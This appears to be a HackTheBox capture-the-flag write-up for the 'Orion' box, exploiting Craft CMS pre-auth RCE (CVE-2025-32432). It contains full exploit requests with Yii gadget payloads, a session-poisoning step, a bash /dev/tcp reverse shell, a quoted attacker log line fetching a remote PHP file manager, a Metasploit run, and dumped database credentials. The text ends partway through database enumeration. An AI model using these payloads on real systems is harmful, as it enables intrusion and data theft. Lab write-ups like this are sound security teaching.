HTB: Orion
Orion is a Linux box running a Craft CMS website. I’ll exploit an unauthenticated remote code execution vulnerability in Craft’s image transform endpoint, abusing an object injection flaw in the underlying Yii framework to poison a PHP session file and execute my payload, landing a shell as the web user. Reading the Craft configuration, I’ll find database credentials, dump the users table, and crack a bcrypt hash to reach the next user, though that step turns out to be optional. For root, I’ll find inetd serving telnet, and abuse an authentication bypass that provides access as root by smuggling a “-f root” value through the USER environment variable.
Box Info
Recon
Initial Scanning
nmap finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ sudo nmap -p- --reason --min-rate 10000 10.129.244.146
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-09 00:11 UTC
Nmap scan report for 10.129.244.146
Host is up, received reset ttl 63 (0.026s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 7.71 seconds
oxdf@hacky$ sudo nmap -p 22,80 -sCV 10.129.244.146
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-09 00:12 UTC
Nmap scan report for 10.129.244.146
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://orion.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.37 seconds
Based on the OpenSSH and Nginx versions, the host is likely running Ubuntu 22.04 Jammy LTS.
Both of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
There’s a redirect to orion.htb on port 80. I’ll use ffuf to bruteforce for subdomains that respond differently, but not find any. I’ll update my hosts file:
10.129.244.146 orion.htb
I’ll rescan port 80 with the hostname, but not find anything interesting.
Website - TCP 80
Site
The site is for a telecom company:
All the links in the nav bar point to anchors on this same page. There’s a contact form at the bottom, but trying to submit returns an error:
In Burp I can see it sends a POST to /api/contact, which gets a 404 response, so this is not interesting.
Tech Stack
The HTTP response headers show that this site is running Craft CMS behind Nginx:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 09 Jul 2026 00:20:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Robots-Tag: none
X-Powered-By: Craft CMS
Content-Length: 12272
Craft CMS is a PHP content management system that I’ve exploited before in HTB Surveillance. The main page loads as /index.php as well. The 404 page for a .php extension is the default Nginx 404:
However, when I visit a non-existent page without an extension, there’s a Craft CMS debug error page:
The page seems to be hosted out of /var/www/html/craft. It’s also referencing Yii Framework 2.0.51, which makes sense as Craft CMS is built on top of the Yii Framework.
Admin Panel
Typically I skip the directory brute force for open source software, opting to look up how the site works rather than brute force. The Craft documentation shows the control panel is at /admin.
I can find this via brute force as well with feroxbuster:
oxdf@hacky$ feroxbuster -u http://orion.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://orion.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 662l 1940w 54201c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 7l 10w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 0l 0w 0c http://orion.htb/admin => http://orion.htb/admin/login
302 GET 0l 0w 0c http://orion.htb/logout => http://orion.htb/
200 GET 178l 431w 5420c http://orion.htb/assets/js/main.js
200 GET 929l 1619w 17370c http://orion.htb/assets/css/style.css
301 GET 7l 12w 178c http://orion.htb/assets => http://orion.htb/assets/
200 GET 385l 1182w 12272c http://orion.htb/
301 GET 7l 12w 178c http://orion.htb/assets/images => http://orion.htb/assets/images/
301 GET 7l 12w 178c http://orion.htb/assets/js => http://orion.htb/assets/js/
301 GET 7l 12w 178c http://orion.htb/assets/css => http://orion.htb/assets/css/
200 GET 385l 1182w 12272c http://orion.htb/index
404 GET 0l 0w 0c http://orion.htb/assets/images/twiki
404 GET 0l 0w 0c http://orion.htb/assets/js/zzz
404 GET 0l 0w 0c http://orion.htb/assets/ba
200 GET 385l 1182w 12272c http://orion.htb/p1
404 GET 0l 0w 0c http://orion.htb/assets/css/col
404 GET 0l 0w 0c http://orion.htb/assets/css/leadership
200 GET 385l 1182w 12272c http://orion.htb/p15
200 GET 385l 1182w 12272c http://orion.htb/p13
404 GET 0l 0w 0c http://orion.htb/assets/pm_attachments
404 GET 0l 0w 0c http://orion.htb/assets/js/dcforum
404 GET 0l 0w 0c http://orion.htb/assets/js/diabetes
404 GET 0l 0w 0c http://orion.htb/assets/incfiles
404 GET 0l 0w 0c http://orion.htb/assets/css/contenidos
200 GET 385l 1182w 12272c http://orion.htb/p2
404 GET 0l 0w 0c http://orion.htb/assets/images/K
404 GET 0l 0w 0c http://orion.htb/assets/images/Manual
200 GET 385l 1182w 12272c http://orion.htb/p10
404 GET 0l 0w 0c http://orion.htb/assets/js/dba
404 GET 0l 0w 0c http://orion.htb/assets/js/en-ca
404 GET 0l 0w 0c http://orion.htb/assets/css/definitions
404 GET 0l 0w 0c http://orion.htb/assets/js/eyeblaster
404 GET 0l 0w 0c http://orion.htb/assets/images/feedbacks
404 GET 0l 0w 0c http://orion.htb/assets/css/downloadable
404 GET 0l 0w 0c http://orion.htb/assets/kalendar
404 GET 0l 0w 0c http://orion.htb/assets/js/ficheros
404 GET 0l 0w 0c http://orion.htb/usercenter
404 GET 0l 0w 0c http://orion.htb/assets/js/flashcoms
404 GET 0l 0w 0c http://orion.htb/assets/images/foo
404 GET 0l 0w 0c http://orion.htb/assets/images/forumpolicy
404 GET 0l 0w 0c http://orion.htb/assets/css/filer
404 GET 0l 0w 0c http://orion.htb/assets/js/how
404 GET 0l 0w 0c http://orion.htb/assets/css/mastercard
404 GET 0l 0w 0c http://orion.htb/SiteGlobals
200 GET 385l 1182w 12272c http://orion.htb/p3
404 GET 0l 0w 0c http://orion.htb/assets/hints
404 GET 0l 0w 0c http://orion.htb/chatter
404 GET 0l 0w 0c http://orion.htb/assets/here
404 GET 0l 0w 0c http://orion.htb/assets/css/elink
404 GET 0l 0w 0c http://orion.htb/os2
404 GET 0l 0w 0c http://orion.htb/_mods
404 GET 0l 0w 0c http://orion.htb/assets/images/TSWeb
404 GET 0l 0w 0c http://orion.htb/assets/js/Transfers
404 GET 0l 0w 0c http://orion.htb/assets/css/mars
404 GET 0l 0w 0c http://orion.htb/assets/js/vic
404 GET 0l 0w 0c http://orion.htb/assets/images/TT2483
404 GET 0l 0w 0c http://orion.htb/assets/js/A5
404 GET 0l 0w 0c http://orion.htb/Wordpress
404 GET 0l 0w 0c http://orion.htb/assets/js/GCshared
404 GET 0l 0w 0c http://orion.htb/assets/images/junkbox
404 GET 0l 0w 0c http://orion.htb/assets/google_search
404 GET 0l 0w 0c http://orion.htb/assets/WebResource
404 GET 0l 0w 0c http://orion.htb/assets/WebTrends
404 GET 0l 0w 0c http://orion.htb/assets/js/hfs
404 GET 0l 0w 0c http://orion.htb/assets/images/homeowner
404 GET 0l 0w 0c http://orion.htb/assets/js/hip
404 GET 0l 0w 0c http://orion.htb/assets/images/homme
404 GET 0l 0w 0c http://orion.htb/assets/css/hdd
404 GET 0l 0w 0c http://orion.htb/js_menu
404 GET 0l 0w 0c http://orion.htb/assets/image_gallery
404 GET 0l 0w 0c http://orion.htb/jsf
404 GET 0l 0w 0c http://orion.htb/assets/js/honeywell
404 GET 0l 0w 0c http://orion.htb/kaluga
404 GET 0l 0w 0c http://orion.htb/matrix_engine
404 GET 0l 0w 0c http://orion.htb/assets/js/itn
200 GET 385l 1182w 12272c http://orion.htb/p5
200 GET 385l 1182w 12272c http://orion.htb/p7
404 GET 0l 0w 0c http://orion.htb/assets/css/Sheriff
404 GET 0l 0w 0c http://orion.htb/assets/comp_image
404 GET 0l 0w 0c http://orion.htb/cristianos
404 GET 0l 0w 0c http://orion.htb/cronJobs
404 GET 0l 0w 0c http://orion.htb/assets/js/coke
404 GET 0l 0w 0c http://orion.htb/assets/contactforms
404 GET 0l 0w 0c http://orion.htb/dads
404 GET 0l 0w 0c http://orion.htb/assets/js/comment-page-7
404 GET 0l 0w 0c http://orion.htb/assets/css/color_picker
404 GET 0l 0w 0c http://orion.htb/assets/images/compatibility
404 GET 0l 0w 0c http://orion.htb/dashofer
404 GET 0l 0w 0c http://orion.htb/assets/data_transfer
404 GET 0l 0w 0c http://orion.htb/assets/datebase
404 GET 0l 0w 0c http://orion.htb/assets/images/csvfiles
404 GET 0l 0w 0c http://orion.htb/assets/css/cronfiles
404 GET 0l 0w 0c http://orion.htb/assets/images/ctpl
404 GET 0l 0w 0c http://orion.htb/assets/css/csg
404 GET 0l 0w 0c http://orion.htb/assets/js/ctb
404 GET 0l 0w 0c http://orion.htb/assets/diapo
404 GET 0l 0w 0c http://orion.htb/easyAdmin
404 GET 0l 0w 0c http://orion.htb/assets/js/decks
404 GET 0l 0w 0c http://orion.htb/assets/images/del_blog
404 GET 0l 0w 0c http://orion.htb/assets/css/ddc
404 GET 0l 0w 0c http://orion.htb/assets/econtent
404 GET 0l 0w 0c http://orion.htb/mnogosearch
200 GET 385l 1182w 12272c http://orion.htb/p24
200 GET 385l 1182w 12272c http://orion.htb/p6
200 GET 385l 1182w 12272c http://orion.htb/p0
404 GET 0l 0w 0c http://orion.htb/assets/images/ttt-out
404 GET 0l 0w 0c http://orion.htb/assets/wEWBAK
404 GET 0l 0w 0c http://orion.htb/assets/images/wares
404 GET 0l 0w 0c http://orion.htb/assets/css/vp2
404 GET 0l 0w 0c http://orion.htb/assets/wing
404 GET 0l 0w 0c http://orion.htb/yecla
404 GET 0l 0w 0c http://orion.htb/assets/images/web_styles
404 GET 0l 0w 0c http://orion.htb/assets/css/waroot
404 GET 0l 0w 0c http://orion.htb/assets/images/webalizar
404 GET 0l 0w 0c http://orion.htb/yms
404 GET 0l 0w 0c http://orion.htb/assets/images/webshops
404 GET 0l 0w 0c http://orion.htb/assets/wp-upload
404 GET 0l 0w 0c http://orion.htb/zimmer-suiten
404 GET 0l 0w 0c http://orion.htb/1264
404 GET 0l 0w 0c http://orion.htb/assets/js/lmbbox-smileys
404 GET 0l 0w 0c http://orion.htb/assets/xxx_images
404 GET 0l 0w 0c http://orion.htb/assets/css/worldmap
404 GET 0l 0w 0c http://orion.htb/assets/js/wp_content
404 GET 0l 0w 0c http://orion.htb/1295
200 GET 385l 1182w 12272c http://orion.htb/p124
200 GET 385l 1182w 12272c http://orion.htb/p167
200 GET 385l 1182w 12272c http://orion.htb/p43
200 GET 385l 1182w 12272c http://orion.htb/p76
200 GET 385l 1182w 12272c http://orion.htb/p111
404 GET 0l 0w 0c http://orion.htb/assets/images/FileLib_Admin
404 GET 0l 0w 0c http://orion.htb/assets/msc-39
404 GET 0l 0w 0c http://orion.htb/assets/needlogin
404 GET 0l 0w 0c http://orion.htb/assets/js/931
[####################] - 35m 150007/150007 0s found:132 errors:5
[####################] - 35m 30000/30000 14/s http://orion.htb/
[####################] - 35m 30000/30000 14/s http://orion.htb/assets/
[####################] - 35m 30000/30000 14/s http://orion.htb/assets/images/
[####################] - 35m 30000/30000 14/s http://orion.htb/assets/js/
[####################] - 35m 30000/30000 14/s http://orion.htb/assets/css/
Interestingly, /pX where X is any number (one or more digits) returns the main site. This is an artifact from if the site had a lot of articles and was paginated.
Visiting /admin provides the login form:
The Craft CMS version of 5.6.16 is at the bottom of the page.
Shell as www-data
CVE-2025-32432 Background
Searching for “craftcms 5.6.16 exploit” returns references to CVE-2025-32432:
NIST describes CVE-2025-32432 as:
Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector. This issue has been patched in versions 3.9.15, 4.14.15, and 5.6.17, and is an additional fix for CVE-2023-41892.
That says it’s remote code execution (RCE) and low-complexity, but doesn’t give any additional details. It does say this CVE is an additional fix for CVE-2023-41892, which is the CVE I exploited in HTB Surveillance. This vulnerability was added to the CISA KEV list on 20 March 2026.
There’s a little more detail on the post on the Craft website:
On April 7, 2025, we received a report of a Craft CMS vulnerability that was based on a vulnerability in the Yii framework. Yii fixed that vulnerability in Yii 2.0.52.
There’s a detailed post from Orange Cyberdefense on how they found this vulnerability doing incident response and tracking what the malicious actor was doing. The issue is in the unauthenticated admin/actions/assets/generate-transform endpoint responsible for image transforms. The function in Craft passes user input to the ImageTransform constructor without validation, so I can inject arbitrary object properties using Yii’s as <name> syntax. From here I’ll abuse CVE-2024-58136, the underlying vulnerability in Yii2 that allows __class to take precedence over class, where Craft only checks for class, letting me instantiate any class with constructor args I control.
NIST says this is an additional fix for CVE-2023-41892. That was a different way to load an arbitrary PHP class from the framework, and the POCs look very similar, though to different endpoints.
There are POCs for CVE-2025-32432 freely available, but it’s more interesting to do manually to understand how it works, so I’ll show both.
Manual Exploit
Exploit POC
To interact with this endpoint I’ll need a couple items from the instance: a valid session and CSRF cookie, and a CSRF token. I can fetch these from /admin/login:
oxdf@hacky$ curl http://orion.htb/admin/login -v -s 2>&1 | grep -i -e "set-cookie" -e 'type="hidden"'
< Set-Cookie: CraftSessionId=3res20lmmobovu3h4d0196e2v2; path=/; HttpOnly
< Set-Cookie: CRAFT_CSRF_TOKEN=56863069d86d81ed05392c5af378f6f53d3d1469d001ac6c964d5b83b7c4a146a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22KoS6YPYvf3SUcI12Mskz7W750xLpoIFMgWjqj2ZX%22%3B%7D; path=/; HttpOnly
<input type="hidden" name="CRAFT_CSRF_TOKEN" value="18fv3wEHKC17hTFkCtjtdO-e1NkbFOwlsFXCuF0Eg5oXp55z7CToN5yovOlYV3FbHbZiMWmR3Eai7b-jLEPbEIAtjsgyTcXXcPD0AoYWsm8=">
From this I’ll craft a request, adding the two cookies and the CSRF token as the value in the X-CSRF-Token header. The body is copied directly from the blog post, and while it says it requires finding a valid assetId, it doesn’t seem to matter in this case (I wasted a bunch of time trying to find one):
POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1
Host: orion.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Cookie: CraftSessionId=aiqstu9q0lqvj1vpghhq8qt77q; CRAFT_CSRF_TOKEN=082ae7398cc3b2cf3e33344cb0bb06e03903a6e84c9d204e69b72cca40bd7df0a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22GyXivbOBfa75dV8Hrd5ZNVVWLXwDkERlRwF8jg1P%22%3B%7D
X-CSRF-Token: 3sL48VgUnduN1e9hurGR-C4DRmo0uH06IMD8gICw9Lf-iaUolRBWL5m7oJgudtKZ67TYVN7nqbBcZ3Mweu4rbWyYi8Tr9abbrP7jEP93Z38=
Content-Type: application/json
Content-Length: 352
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [
[]
],
"_fn_close": "phpinfo"
}
}
}
There is an as session field added to the handle key, with a legit class that CraftCMS will validate, and a different __class that CraftCMS will ignore but Yii will use over class. Within the FnStream object, the _fn_close function will run, which in this case is a simple PHPinfo for proof of concept.
When I send this, it loads PHPinfo:
That proves that this is vulnerable.
RCE Strategy
To exploit this for arbitrary execution, I’ll use a different PHP object. The original actors using this in the wild added an as hack field to the handle key:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as hack": {
"class": "\\craft\\behaviors\\FieldLayoutBehavior",
"__class": "\\yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/var/lib/php/sessions/sess_3hqjhnca16mpmepr0r94mpu0nr"
}
]
}
}
}
The PhpManager object in Yii takes an itemFile in the constructor, which the docs describe as:
The path of the PHP script that contains the authorization items.
This implies that that PHP script is executed, which means that if I can get PHP into a file on Orion, I can execute it using this gadget.
The malicious actor did this in a very clever way. Here’s the log from the real incident response:
172.86.113.137 - - [10/Feb/2025:08:16:51 +0100] "GET /index.php?p=admin/dashboard&a=<?=file\_put\_contents(\"filemanager.php\",file\_get\_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?> HTTP/1.1" 302 -
When the actor visits p=admin/dashboard, they will be redirected to the login page. However, the URL they are trying to access will be stored in the session file, so that after login the CMS can look up that URL and send the user where they were trying to go. In this case, by including a random parameter (they used a, but anything would work), an attacker can write whatever they want, and it gets written to the session file on disk in a predictable location, /var/lib/php/sessions/sess_<session id>.
RCE POC
I’ll visit the dashboard to poison the session:
The 302 response to /admin/login shows that the URL cache in the session file should have worked.
Now I’ll POST, using the gadget to load the session file from my cookie. On success, the response will still be a 500 crash, and I won’t be able to see the results (so cmd=id isn’t useful). But I can ping:
POST /index.php?p=admin/actions/assets/generate-transform&cmd=ping%20-c%201%2010.10.15.243 HTTP/1.1
Host: orion.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Cookie: CraftSessionId=aiqstu9q0lqvj1vpghhq8qt77q; CRAFT_CSRF_TOKEN=082ae7398cc3b2cf3e33344cb0bb06e03903a6e84c9d204e69b72cca40bd7df0a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22GyXivbOBfa75dV8Hrd5ZNVVWLXwDkERlRwF8jg1P%22%3B%7D
X-CSRF-Token: 3sL48VgUnduN1e9hurGR-C4DRmo0uH06IMD8gICw9Lf-iaUolRBWL5m7oJgudtKZ67TYVN7nqbBcZ3Mweu4rbWyYi8Tr9abbrP7jEP93Z38=
Content-Type: application/json
Content-Length: 418
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as hack": {
"class": "\\craft\\behaviors\\FieldLayoutBehavior",
"__class": "\\yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/var/lib/php/sessions/sess_aiqstu9q0lqvj1vpghhq8qt77p"
}
]
}
}
}
At my host:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:48:43.385179 IP 10.129.244.146 > 10.10.15.243: ICMP echo request, id 1, seq 1, length 64
11:48:43.385206 IP 10.10.15.243 > 10.129.244.146: ICMP echo reply, id 1, seq 1, length 64
Shell
To get a shell, I’ll just add a bash reverse shell as the payload:
POST /index.php?p=admin/actions/assets/generate-transform&cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/10.10.15.243/443%200>%261' HTTP/1.1
Host: orion.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Cookie: CraftSessionId=aiqstu9q0lqvj1vpghhq8qt77q; CRAFT_CSRF_TOKEN=082ae7398cc3b2cf3e33344cb0bb06e03903a6e84c9d204e69b72cca40bd7df0a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22GyXivbOBfa75dV8Hrd5ZNVVWLXwDkERlRwF8jg1P%22%3B%7D
X-CSRF-Token: 3sL48VgUnduN1e9hurGR-C4DRmo0uH06IMD8gICw9Lf-iaUolRBWL5m7oJgudtKZ67TYVN7nqbBcZ3Mweu4rbWyYi8Tr9abbrP7jEP93Z38=
Content-Type: application/json
Content-Length: 418
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as hack": {
"class": "\\craft\\behaviors\\FieldLayoutBehavior",
"__class": "\\yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/var/lib/php/sessions/sess_aiqstu9q0lqvj1vpghhq8qt77p"
}
]
}
}
}
Sending that returns a shell:
oxdf@hacky$ nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.244.146 41152
bash: cannot set terminal process group (960): Inappropriate ioctl for device
bash: no job control in this shell
www-data@orion:~/html/craft/web$
I’ll upgrade using the standard trick:
www-data@orion:~/html/craft/web$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@orion:~/html/craft/web$ ^Z
[1]+ Stopped nc -lvnp 443
oxdf@hacky$ stty raw -echo; fg
nc -lvnp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@orion:~/html/craft/web$
Metasploit Exploitation
I’ll fire up Metasploit with msfconsole and search for craft:
msf > search craftcms
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 2025-04-14 excellent Yes Craft CMS Image Transform Preauth RCE (CVE-2025-32432)
1 \_ target: PHP In-Memory . . . .
2 \_ target: Unix/Linux Command Shell . . . .
3 exploit/linux/http/craftcms_ftp_template 2024-12-19 excellent Yes Craft CMS Twig Template Injection RCE via FTP Templates Path
4 exploit/linux/http/craftcms_unauth_rce_cve_2023_41892 2023-09-13 excellent Yes Craft CMS unauthenticated Remote Code Execution (RCE)
5 \_ target: PHP . . . .
6 \_ target: Unix Command . . . .
7 \_ target: Linux Dropper . . . .
Interact with a module by name or index. For example info 7, use 7 or use exploit/linux/http/craftcms_unauth_rce_cve_2023_41892
After interacting with a module you can manually set a TARGET with set TARGET 'Linux Dropper'
Rank 0 looks like the same vulnerability. I’ll use it, and check the options:
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > options
Module options (exploit/linux/http/craftcms_preauth_rce_cve_2025_32432):
Name Current Setting Required Description
---- --------------- -------- -----------
ASSET_ID 373 yes Existing asset ID
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks
4, socks5, socks5h, http
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
loit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.251 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PHP In-Memory
View the full module info with the info, or info -d command.
I’ll set the RHOSTS and LHOST, and run it:
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set RHOSTS orion.htb
RHOSTS => orion.htb
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set LHOST tun0
LHOST => 10.10.15.243
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > run
[*] Started reverse TCP handler on 10.10.15.243:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Leaked session.save_path: /var/lib/php/sessions
[+] The target is vulnerable. Session path leaked
[*] Injecting stub & triggering payload...
[*] Sending stage (42137 bytes) to 10.129.244.146
[*] Meterpreter session 1 opened (10.10.15.243:4444 -> 10.129.244.146:55786) at 2026-07-09 12:53:17 +0000
meterpreter > getuid
Server username: www-data
That’s a shell as www-data.
Shell as adam
Going for user is actually optional on Orion, as there’s no reason that I can’t go directly to root from www-data.
Enumeration
Users
There’s one user with a home directory in /home:
www-data@orion:/home$ ls
adam
www-data can’t access it, but that’s almost certainly where user.txt is.
This matches with users with shells set in passwd:
www-data@orion:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
adam:x:1000:1000::/home/adam:/bin/bash
Web
The CraftCMS instance is homed in /var/www/html/craft (matching the error message above):
www-data@orion:~/html/craft$ ls -la
total 364
drwxrwxr-x 7 www-data www-data 4096 Mar 6 11:22 .
drwxr-xr-x 3 root root 4096 Mar 6 11:19 ..
-rw-rw-r-- 1 www-data www-data 718 Mar 6 11:24 .env
-rw-rw-r-- 1 www-data www-data 411 Nov 18 2025 .env.example.dev
-rw-rw-r-- 1 www-data www-data 623 Nov 18 2025 .env.example.production
-rw-rw-r-- 1 www-data www-data 619 Nov 18 2025 .env.example.staging
-rw-rw-r-- 1 www-data www-data 31 Nov 18 2025 .gitignore
-rw-rw-r-- 1 www-data www-data 624 Nov 18 2025 bootstrap.php
-rw-rw-r-- 1 www-data www-data 611 Mar 6 11:20 composer.json
-rw-rw-r-- 1 www-data www-data 310507 Mar 6 11:20 composer.lock
drwxrwxr-x 4 www-data www-data 4096 Mar 6 11:26 config
-rwxr-xr-x 1 www-data www-data 309 Nov 18 2025 craft
drwxrwxr-x 5 www-data www-data 4096 Mar 6 11:24 storage
drwxrwxr-x 2 www-data www-data 4096 Mar 10 10:46 templates
drwxrwxr-x 49 www-data www-data 4096 Mar 6 11:20 vendor
drwxrwxr-x 4 www-data www-data 4096 Mar 7 15:31 web
It is configured in a .env file in that directory:
# Read about configuration, here:
# https://craftcms.com/docs/5.x/configure.html
# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS--67912ad2-1f1b-4993-bfec-e64daa5c23ff
# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=dev
# General settings
CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8
CRAFT_DEV_MODE=true
CRAFT_ALLOW_ADMIN_CHANGES=true
CRAFT_DISALLOW_ROBOTS=true
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=
PRIMARY_SITE_URL=http://orion.htb/
That password does not work for adam, but it does allow connecting to the database:
www-data@orion:~/html/craft$ mysql -u root -pSuperSecureCraft123Pass!
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 37393
Server version: 10.6.23-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
There are five databases:
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| orion |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.000 sec)
The non-default one is orion. It has 66 tables:
MariaDB [(none)]> use orion
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [orion]> show tables;
+----------------------------+
| Tables_in_orion |
+----------------------------+
| addresses |
| announcements |
| assetindexdata |
| assetindexingsessions |
| assets |
| assets_sites |
| authenticator |
| categories |
| categorygroups |
| categorygroups_sites |
| changedattributes |
| changedfields |
| craftidtokens |
| deprecationerrors |
| drafts |
| elementactivity |
| elements |
| elements_bulkops |
| elements_owners |
| elements_sites |
| entries |
| entries_authors |
| entrytypes |
| fieldlayouts |
| fields |
| globalsets |
| gqlschemas |
| gqltokens |
| imagetransformindex |
| imagetransforms |
| info |
| migrations |
| plugins |
| projectconfig |
| queue |
| recoverycodes |
| relations |
| resourcepaths |
| revisions |
| searchindex |
| sections |
| sections_entrytypes |
| sections_sites |
| sequences |
| sessions |
| shunnedmessages |
| sitegroups |
| sites |
| sso_identities |
| structureelements |
| structures |
| systemmessages |
| taggroups |
| tags |
| tokens |
| usergroups |
| usergroups_users |
| userpermissions |
| userpermissions_usergroups |
| userpermissions_users |
| userpreferences |
| users |
| volumefolders |
| volumes |
| webauthn |
| widgets |
+----------------------------+
66 rows in set (0.000 sec)
The most interesting one to check is users:
MariaDB [orion]> describe users;
+----------------------------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------------------------+---------------------+------+-----+---------+-------+
| id | int(11) | NO | PRI | NULL | |
| photoId | int(11) | YES | MUL | NULL | |
| affiliatedSiteId | int(11) | YES | MUL | NULL | |
| active | tinyint(1) | NO | MUL | 0 | |
| pending | tinyint(1) | NO | MUL | 0 | |
| locked | tinyint(1) | NO | MUL | 0 | |
| suspended | tinyint(1) | NO | MUL | 0 | |
| admin | tinyint(1) | NO | | 0 | |
| username | varchar(255) | YES | MUL | NULL | |
| fullName | varchar(255) | YES | | NULL | |
| firstName | varchar(255) | YES | | NULL | |
| lastName | varchar(255) | YES | | NULL | |
| email | varchar(255) | YES | MUL | NULL | |
| password | varchar(255) | YES | | NULL | |
| lastLoginDate | datetime | YES | | NULL | |
